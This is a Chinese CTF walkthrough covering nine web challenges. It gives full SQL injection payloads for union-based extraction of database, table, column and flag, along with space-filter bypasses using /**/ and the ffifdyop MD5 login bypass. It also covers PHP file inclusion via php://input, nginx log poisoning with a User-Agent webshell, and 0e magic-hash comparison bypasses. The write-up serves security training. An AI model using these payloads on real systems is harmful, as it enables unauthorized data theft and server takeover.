web1base64加密
web2普通sql注入
最简单的sql注入,直接在用户名的框,尝试输入万能密码1' or 1=1#,可以看到有回显
使用order by查询字段数
------1' or 1=1 order by 3# 正常回显
------1' or 1=1 order by 4# 无回显
因为直接回显到页面上,使用union联合注入查询
1' or 1=1 union select 1,2,3#
在2的位置有回显,就在这里注入
爆库名
1' or 1=1 union select 1,database(),3#
爆表名
1' or 1=1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='web2'#
爆列名
1' or 1=1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='flag'#
爆数据内容
1' or 1=1 union select 1,flag,3 from flag#
web3伪协议
打开界面如下:提示我们传url参数
php文件考虑文件包含漏洞,地址后加上?url=/etc/password,显示如下页面,说明存在文件包含。
上burp抓包,使用php的php://input伪协议,使用'ls'命令查看文件内容
访问ctf_go_go_go拿到flag
web4日志注入
日志注入:?url=/var/log/nginx/access.log
打开界面如下:提示文件包含,和一个get方式的url参数,虽然使用php://input伪协议依旧有回显,但是却不能执行php代码
抓包试试,发给重发器,我们能看到服务器为nginx,nginx的默认日志文件路径是 /var/log/nginx/access.log
访问他的默认日志文件
然后在user-agent添加一个一句话木马进去,使用burp或者hackbar都可以
再上蚁剑去连接
web5 MD5绕过!
打开页面后,显示部分源码,不难看到有MD5的字眼,意思就是get传入v1和v2两个参数,并且v1是字符串而v2是数字,然后v1v2的MD5值相等输出flag
------ctype_alpha()函数用于检查字符串是否纯字母祖成,是则返回true,否则返回flase。
------is_numeric()函数用于检查变量是否是纯数字或者纯数字串,是则返回true,否则返回flase。
这里用到了一些MD5的绕过知识:
QNKCDZO 的md5值为 0e830400451993494058024219903391
240610708 的md5值为 0e462097431906509019562988736854
开头为0e,而0e开头的字符串参与比较(==)时,会转化为0,也就是0=0,从而返回true
?v1=QNKCDZO&v2=240610708
web6空格过滤
使用正常的sql万能密码去测试显示:
上burp抓包,抓包后观察注入语句,发现应该是空格被过滤了
空格被过滤的绕过姿势:%a0,/**/等代替空格,这里我使用的/**/
万能密码:admin'/**/or/**/1=1#
admin'/**/or/**/1=1/**/union/**/select/**/1,2,3#
admin'/**/or/**/1=1/**/union/**/select/**/1,database(),3#
admin'/**/or/**/1=1/**/union/**/select/**/1,group_concat(table_name),3/**/from/**/information_schema.tables/**/where/**/table_schema='web2'#
admin'/**/or/**/1=1/**/union/**/select/**/1,group_concat(column_name),3/**/from/**/information_schema.columns/**/where/**/table_name='flag'#
admin'/**/or/**/1=1/**/union/**/select/**/1,flag,3/**/from/**/flag#
web7同样空格过滤
打开后页面显示这样,随便点一个进去,
可以看到http地址框的显示,很熟悉就想到在这里进行注入
但是使用了万能密码admin' or 1=1#进行测试显示sql注入错误,联想到上一关是不是这一关也过滤了什么
打开burp抓包,观察抓包结果,猜测依旧是空格过滤掉了
我们使用/**/代替空格进行注入
因为sql语句恒为真被成功执行,数据库显示true,返回所有内容
接下来就是正常的sql注入
猜列数:
------id=1/**/or/**/1=1/**/order/**/by/**/3# 正常回显
------id=1/**/or/**/1=1/**/order/**/by/**/4# 回显错误
union联合注入:id=1/**/union/**/select/**/1,2,3# 两个回显点
爆库名:id=1/**/union/**/select/**/1,database(),3#
爆表名:id=1/**/union/**/select/**/1,group_concat(table_name),3/**/from/**/information_schema.tables/**/where/**/table_schema=database()#
爆列名:id=1/**/union/**/select/**/1,group_concat(column_name),3/**/from/**/information_schema.columns/**/where/**/table_name="flag"#
爆数据内容:id=1/**/union/**/select/**/1,flag,3/**/from/**/flag#
web8布尔盲注
看的网上的wp,大多采用的py脚本得到flag
手工的话确实麻烦
web9MD5加密绕过
打开后界面显示:
测试之前的关卡的方法都不能使用
那就扫一下网站吧,dirsearch -u 网址 -e *
扫出来一个/robots.txt的目录,访问它,显示如下:
然后再访问/index.phps,得到后台登录验证的部分源码
分析这段代码,意思就是说我们输入的密码会自动加密成MD5,利用网上的MD5加密漏洞来绕过,原理就是MD5加密后的十六进制字符串转换成二进制为'or'xxxx就行,这样就构成闭合语句: username ='admin' and password =‘ ’or 'xxxxx'
在密码框中输入:ffifdyop,即可登录成功,获取到flag
注:ffifdyop的MD5加密结果是276f722736c95d99e921722cf9ed621c,经过MySQL编码后会变成'or'6xxx(二进制),使SQL恒成立,相当于万能密码,可以绕过MD5()函数加密